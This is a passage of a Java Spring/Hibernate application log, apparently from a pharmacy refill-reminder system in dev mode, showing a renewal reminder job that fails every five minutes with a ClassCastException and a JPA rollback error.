org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 19:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 19:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 19:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 19:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 19:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 19:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 19:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 19:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 19:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 19:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 19:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 19:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 19:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 19:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 19:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 19:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 19:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 19:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 19:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 19:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 19:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 19:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 19:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 19:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 19:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 19:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 19:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 19:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 19:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 19:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 19:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 19:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at 